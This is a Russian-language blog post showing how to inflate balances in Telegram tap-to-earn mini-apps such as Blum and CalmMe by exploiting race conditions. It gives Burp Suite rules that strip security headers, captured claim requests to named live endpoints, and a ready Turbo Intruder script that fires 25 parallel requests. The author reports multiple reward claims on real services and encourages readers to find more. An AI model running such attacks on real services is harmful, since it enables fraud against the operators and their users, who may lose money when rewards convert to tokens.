За последние полгода-год в Telegram появилось множество так называемых мини-приложений, которые выдают некие фантики за совершённые действия, и обещают дать возможность конвертировать эти фантики в некоторые рыночные криптовалютные токены, которые можно будет продать за реальные деньги. В качестве примера можно привести: Hamster Kombat, Blum, CalmMe, CryptoRank, Flare X, StarChime... тысячи их. Конечно, максимальную потенциальную прибыль в таких активностях будут иметь люди, которые обладают выходом на большие аудитории и могут по реферальной ссылке завлечь людей в приложение, а также ботоводы с автокликлерами. Что же делать простым людям, которые хотят выжать что-то сверх доступных активностей в этих приложениях? Очевидно, искать уязвимости! Сегодня я приведу несколько примеров весьма тривиальных уязвимостей, которые позволяют немного накрутить баланс во многих "тапалках".
Конечно, я не предлагаю искать XSS, RCE, SQLi и прочее, а вместо этого сконцентрироваться на состояниях гонки (race condition). Кстати, d_x недавно писал про них статью. Не вдаваясь в подробности уязвимостей такого плана, предположу, что вы и так себе представляете в общих чертах, о чем это, либо можете поискать в интернете, уверен найдется множество подробных статей. Перейдем к практике. Нам понадобятся: Burp Suite, расширение Turbo Intruder, которое необходимо в него установить через вкладку Extensions. В качестве альтернативы можете попробовать что-то сделать на основе фреймворка racepwn или Raceocat. Также предполагается использование веб-версии Telegram (web.telegram.org) с целью упрощения перехвата HTTP-запросов в контексте мини-приложений.
Blum
При попытке открыть Blum в веб-версии Telegram может наблюдаться проблема - окно с приложением не будет прогружаться. Чтобы этого не происходило, необходимо настроить следующие замены в Burp Suite:
1 2 3 |
Cross\-.* Content\-Security\-Policy.* X\-Frame\-Options.* |
Необходимо, чтобы HTTP-заголовки по этим регулярным выражениям вырезались из ответа веб-сервера.
После этого приложение будет нормально открываться через браузер.
Запустим приложение и посмотрим на богатый доступный функционал: можно нажать Start farming (запустить авто-"тапалку"), нажать Play (мини-игра), нажать Tasks (там расположены задания, за которые дают очки) и в Frens получить ссылку для приглашения рефералов. Посмотрим подробнее секцию Tasks.
Если выполнить какое-то задание, то появится кнопочка Claim, позволяющая получить очки за него. При этом будет отправлен HTTP-запрос следующего вида:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
POST /api/v1/tasks/ede0f7f9-1dc2-43ae-8a09-5a8f5834ddae/claim HTTP/2 Host: game-domain.blum.codes User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Authorization: Bearer [ТУТ ВЫРЕЗАН ТОКЕН] Origin: https://telegram.blum.codes Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Content-Length: 0 Te: trailers |
ede0f7f9-1dc2-43ae-8a09-5a8f5834ddae - это идентификатор задания, за которое мы запрашиваем получение очков. Исходя из описания задания (ниже я приведу его в JSON, в том виде, в котором его возвращает обращение к API /api/v1/tasks
), за него полагается 90 очков:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{ "id": "ede0f7f9-1dc2-43ae-8a09-5a8f5834ddae", "kind": "INITIAL", "type": "SOCIAL_SUBSCRIPTION", "status": "READY_FOR_CLAIM", "subSection": null, "iconFileKey": "c2427646-76db-4a98-bb94-773f4634a35b/3741c507-f7b9-468e-9941-dc487c45114a", "bannerFileKey": null, "title": "Follow Blum CEO on IG", "productName": null, "description": null, "reward": "90", "socialSubscription": { "openInTelegram": false, "url": "https://www.instagram.com/gleb.crypto" }, "isHidden": false, "isDisclaimerRequired": false } |
Что ж, этот запрос нам пригодится. Кстати, желательно было его не пропустить дальше, включив в Burp Suite на вкладке Proxy->Intercept опцию Intercept is on и нажав Drop, когда он будет перехвачен.
Запомним текущий баланс на счете, у меня это 335,100, и отправим перехваченный ранее POST-запрос (/api/v1/tasks/{UUID}/claim
) на получение очков за задание через контекстное расширение в Turbo Intruder.
В окне Turbo Intruder в нижнюю часть вставим следующий код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=25, requestsPerConnection=25, engine=Engine.HTTP2, pipeline=True ) for x in range(0, 25): engine.queue(target.req, gate='race1') engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req) |
Он будет одинаковым для всех "тапалок", но иногда можно убирать или добавлять строчку pipeline=True
: периодически она влияет в лучшую сторону, но бывает и в худшую.
Теперь нажимаем кнопку Attack. Через некоторое время мы увидим нечто подобное, где 200 код ответа - это желаемая для нас ситуация, и чем больше их, тем лучше. В данном случае фактически это означает, что нам удалось успешно забрать очки несколько раз за одно и то же задание. Например, как у меня:
В результате мой баланс стал равен 335,280, т.е. я два раза получил очки за задание на 90 баллов.
В ряде "тапалок", особенно в тех, которые не находятся за Cloudflare, удается до сотни раз получить очки за формально одно действие. В принципе и в Blum нередко получается успешно сделать более 2 повторений, многое зависит от сети, загруженности бэкенда приложения и некоторых других факторов.
Аналогичная ситуация наблюдается и с функцией забора очков за автоматический 8-часовой фарминг и с функцией получения очков за рефералов. Кстати, очки за рефералов особенно интересны, так как таким образом возможно получить существенно более крупные суммы.
CalmMe
Ровно аналогичная ситуация наблюдается в CalmMe. Здесь и далее я уже не буду так подробно разбирать, а ограничусь лишь базовой информацией. Итак, изначальный баланс:
Перехватываем запрос вида:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POST /api/farming/claim HTTP/2 Host: seal-app-3q4ci.ondigitalocean.app User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://lobster-app-45mqn.ondigitalocean.app/ Authorization: Bearer [ТУТ ВЫРЕЗАН ТОКЕН] Content-Type: application/json Origin: https://lobster-app-45mqn.ondigitalocean.app Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Content-Length: 0 Te: trailers |
Отправляем и выполняем в Turbo Intruder:
Получаем баланс:
Видим, что нам удалось успешно забрать 5.4 очка, вместо 0.6.
Эпилог
Конечно, периодически разработчики исправляют подобные проблемы, и не в каждой первой "тапалке" они могут встретиться, однако нередко выкатываются неполные фиксы (на одном эндпоинте перестает работать, а на других работает по-прежнему), да и количество подобных приложений в Telegram продолжает расти. Удачи в поисках!
А сколько дали баунти?
Нисколько, даже не ответили
Теоретически - разработчики могут проанализировать логи и заблокировать либо откатить баланс пользователей, которые "спамят" запросами? Известна ли такая практика?
Теоретически могут, но кажется проще исправить проблему и не обращать внимание на тех, кто воспользовался.